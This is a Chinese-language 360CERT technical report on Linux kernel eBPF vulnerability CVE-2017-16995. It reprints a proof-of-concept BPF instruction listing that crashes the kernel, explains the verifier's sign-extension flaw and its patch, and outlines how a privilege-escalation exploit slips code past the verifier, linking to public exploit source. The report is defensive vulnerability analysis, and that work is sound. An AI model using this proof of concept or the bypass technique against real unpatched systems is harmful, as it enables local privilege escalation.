报告编号: B6-2018-032101
报告来源: 360CERT
报告作者: 360CERT
更新日期: 2018-03-21
漏洞背景
近日,360-CERT监测到编号为CVE-2017-16995的Linux内核漏洞攻击代码被发布,及时发布了预警通告并继续跟进。该漏洞最早由Google project zero披露,并公开了相关poc。2017年12月23日,相关提权代码被公布(见参考资料8),日前出现的提权代码是修改过来的版本。
BPF(Berkeley Packet Filter)是一个用于过滤(filter)网络报文(packet)的架构,其中著名的tcpdump,wireshark都使用到了它(具体介绍见参考资料2)。而eBPF就是BPF的一种扩展。然而在Linux内核实现中,存在一种绕过操作可以导致本地提权。
Poc分析技术细节
Poc概要
分析环境:
内核:v4.14-rc1
主要代码(见参考资料6):
(1 ) BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
(2 ) BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP), // fill r0 with pointer to map value
(3 ) BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack
(4 ) BPF_MOV32_IMM(BPF_REG_ARG2, 1),
(5 ) BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
(6 ) BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
(7 ) BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
(8 ) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
(9 ) BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit
(10) BPF_EXIT_INSN(), // exit
(11) BPF_MOV32_IMM(BPF_REG_1, 0xffffffff), // r1 = 0xffff'ffff, mistreated as 0xffff'ffff'ffff'ffff
(12) BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1), // r1 = 0x1'0000'0000, mistreated as 0
(13) BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 28), // r1 = 0x1000'0000'0000'0000, mistreated as 0
(14) BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), // compute noncanonical pointer
(15) BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef),
(16) BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0), // crash by writing to noncanonical pointer
(17) BPF_MOV32_IMM(BPF_REG_0, 0), // terminate to make the verifier happy
(18) BPF_EXIT_INSN()
要理清这段代码为什么会造成崩溃,需要理解bpf程序的执行流程(见参考资料2)
用户提交bpf代码时,进行一次验证(模拟代码执行),而在执行的时候并不验证。
而漏洞形成的原因在于:模拟执行代码(验证的过程中)与真正执行时的差异造成的。
接下来从这两个层面分析,就容易发现问题了。
模拟执行(验证过程)分析(寄存器用uint64_t、立即数用int32_t表示)
(11) 行 : 将 0xffffffff放入BPF_REG_1寄存器中(分析代码发现进行了符号扩展 BPF_REG_1 为 0xffff
ffffffff
ffff)
(12) 行 :BPF_REG_1 = BPF_REG_1 + 1,此时由于寄存器溢出,只保留低64位(寄存器大小为64位),所以 BPF_REG_1变为0
(13) 行 : 左移,BPF_REG_1还是0
(14) 行 : 将BPF_REG_0 (map value 的地址)加 BPR_REG_1 ,BPF_REG_0,保持不变(该操作能绕过接下来的地址检查操作)
(15)、(16): 将 map value 的值改为 0xdeadbeef。(赋值时会检查 map value 地址的合法性,我们从上面分析可以得出,map value地址合法)
验证器(模拟执行)该bpf 代码,发现没什么问题,允许加载进内核。
真正执行(bpf虚拟机)分析(寄存器用uint64_t,立即数转化成uint32_t表示)
(11)行 : 将 0xffff`ffff(此时立即数会转换为uint32_t) 放入 BPF_REG_1 的低32 位,不会发生符号扩展。
(12)行 : BPF_REG_1 = BPF_REG_1 + 1 ,此时 BPF_REG_1 = 0x10000
0000(再次提示:运行时寄存器用 uint64_t表示)
(13)行 : 左移,BPF_REG_1 = 0x1000'0000'0000'0000
(14)行 : 将BPF_REG_0 (map value 的地址)加 BPR_REG_1 ,此时BPF_REG_0变成一个非法值
(15)、(16): 导致非法内存访问,崩溃!
以上就是Poc导致崩溃的原因。
补丁分析
上述是Jann Horn针对check_alu_op()函数里符号扩展问题提供的补丁。
原理是将32位有符号数在进入__mark_reg_known函数前先转化成了32位无符号数,这样就无法进行符号扩展了。 验证如下:
#include <stdio.h>
#include <stdint.h>
void __mark_reg_known(uint64_t imm)
{
uint64_t reg = 0xffffffffffffffff;
if(reg != imm)
printf("360-CERT\n");
}
int main()
{
int imm = 0xffffffff;
__mark_reg_known((uint32_t)imm);
return 0;
}
此时不会进行符号扩展,输出结果:360-CERT。
提权exp分析
实验环境
内核版本: 4.4.98
漏洞原理
造成该漏洞的根本原因是:验证时模拟执行的结果与BPF虚拟机执行时的不一致造成的。
该漏洞其实是个符号扩展漏洞,给个简单的代码描述该漏洞成因:
#include <stdio.h>
#include <stdint.h>
int main(void){
int imm = -1;
uint64_t dst = 0xffffffff;
if(dst != imm){
printf("360 cert\n");
}
return 0;
}
在比较时,会将 imm 进行扩展 导致 imm 为 0xffffffff
ffff`ffff 所以会导致输出 360 cert
技术细节
用户通过bpf函数,设置命名参数为BPF_PROG_LOAD,向内核提交bpf程序。内核在用户提交程序的时候,会进行验证操作,验证bpf程序的合法性(进行模拟执行)。但是只在提交时进行验证,运行时并不会验证,所以我们可以想办法让恶意代码饶过验证,并执行我们的恶意代码。
验证过程如下:
1.kernel/bpf/syscall.c:bpf_prog_load
2.kernel/bpf/verifier.c:bpf_check
3.kernel/bpf/verifier.c:do_check
在第3个函数中,会对每一条bpf指令进行验证,我们可以分析该函数。发现该函数会使用类似分支预测的特性。对不会执行的分支根本不会去验证(重点:我们可以让我们的恶意代码位于“不会”跳过去的分支中)
其中对条件转移指令的解析位于:
1.kernel/bpf/verifier.c: check_cond_jmp_op
分析该函数可以发现:
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
regs[insn->dst_reg].type == CONST_IMM &&
regs[insn->dst_reg].imm == insn->imm) {
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore
fall-through
*/
*insn_idx += insn->off;
return 0;
} else {
/* if (imm != imm) goto pc+off;
* only follow fall-through branch,
since
* that's where the program will go
*/
return 0;
}
}
寄存器与立即数进行 “不等于” 条件判断时,进行了静态分析工作,分析到底执不验证该分支(需结合kernel/bpf/verifier.c:do_check)。而在进行立即数与寄存器比较时,
寄存器的类型为:
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK */
int imm;
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};
立即数的类型为:
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
都为有符号且宽度一致,该比较不会造成问题。
现在转移到bpf虚拟机执行bpf指令的函数:
/kernel/bpf/core.c: __bpf_prog_run
分析该函数,发现
u64 regs[MAX_BPF_REG];
其中用 uint64_t 表示寄存器,而立即数继续为struct bpf_insn 中的imm字段.
查看其解析“不等于比较指令”的代码
#define DST regs[insn->dst_reg]
#define IMM insn->imm
........
JMP_JEQ_K:
if (DST == IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
进行了32位有符号与64位无符号的比较。
那么我们可以这样绕过恶意代码检查:
(u32)r9 = (u32)-1
if r9 != 0xffff`ffff goto bad_code
ro,0
exit
bad_code:
.........
在提交代码进行验证时,对 jne 分析,发现不跳,会略过bad_code的检查。 但是真正运行时,会导致跳转为真,执行我们的恶意代码。
从参考资料3中,下载exp。我们可以在用户向内核提交bpf代码前,将 union bpf_attr 结构中的 log_level 字段 设置为 1,log其他字段合理填写。在调用提交代码之后,输出log。我们就可以发现我们的那些指令经过了验证。验证结果如下:
可以发现只验证了4 条,但是该exp 有30多条指令(提权)......
我们查看造成漏洞的代码(64位无符号与32位有符号的比较操作),
发现其成功跳过了退出指令,执行到了bad_code。
时间线
2017-12-21 漏洞相关信息公开
2018-03-16 提权攻击代码被公开
2018-03-16 360CERT对外发布预警通告
2018-03-21 360CERT对外发布技术报告
参考链接
https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f
https://www.ibm.com/developerworks/cn/linux/l-lo-eBPF-history/index.html
https://github.com/mrmacete/r2scripts/blob/master/bpf/README.md
https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=3
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c